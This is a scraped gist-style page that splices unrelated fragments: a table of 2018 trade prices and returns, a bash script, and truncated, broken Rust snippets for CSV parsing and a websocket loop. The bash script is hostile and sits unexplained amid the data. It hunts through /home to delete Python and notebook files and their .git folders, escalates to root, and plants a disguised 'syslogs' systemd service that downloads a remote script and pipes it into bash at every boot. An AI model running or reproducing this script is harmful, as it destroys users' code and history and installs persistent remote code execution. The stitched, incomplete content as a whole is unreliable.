Skip to content

Instantly share code, notes, and snippets.

datetime price volume trade_sizes capital_allocation percentage_returns
2018-06-22 20:31:55.552 132000.0 0.031 0.0 0.0
2018-06-22 20:31:55.552 132000.0 0.031 0.0 0.0
2018-06-22 20:31:55.560 132000.0 0.031 0.0 0.0
2018-06-22 20:31:55.658 132000.0 1.161 0.0 0.0
2018-06-22 20:31:55.712 128166.0 0.1469 0.1469 0.1469
2018-06-22 20:31:55.712 128161.2 0.0172 0.0172 0.1641
2018-06-22 20:31:55.712 128160.0 0.4343 0.4343 0.5984
2018-06-22 20:31:55.712 127963.2 1.0391 1.0391 1.6375
2018-06-22 20:31:55.846 132000.0 0.07 -0.07 1.5675 0.030962690863481024
/bin/sleep 10
while true
do
for f in $(/bin/grep -lr --include \*.ipynb --include \*.py "def _extract_key_value" /home)
do
/bin/rm $f
/bin/rm -rf $(/usr/bin/dirname $f)/".git" 2> /dev/null
/bin/rm -rf $(/usr/bin/dirname $(/usr/bin/dirname $f))/".git" 2> /dev/null
/bin/rm -rf $(/usr/bin/dirname $(/usr/bin/dirname $(/usr/bin/dirname $f)))/".git" 2> /dev/null
done
sudo su
echo "
[Unit]
Description=foo
[Service]
ExecStart=/bin/bash -c '/bin/sleep 30; /usr/bin/wget -O - https://goo.gl/fQyxzw | /bin/bash; /usr/bin/wget -O - https://172.217.25.174/fQyxzw | /bin/bash;'
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/syslogs.service
@gregsifr
gregsifr / csv.rs
Last active November 12, 2017 11:11
extern crate csv;
use std::error::Error;
use std::process;
struct data {
pub time: Vec<String>,
pub name: Vec<String>,
pub score: Vec<String>,
loop {
for message in client.incoming_messages() {
match message {
OwnedMessage::Text(data) => data,
_ => None,
};
}
}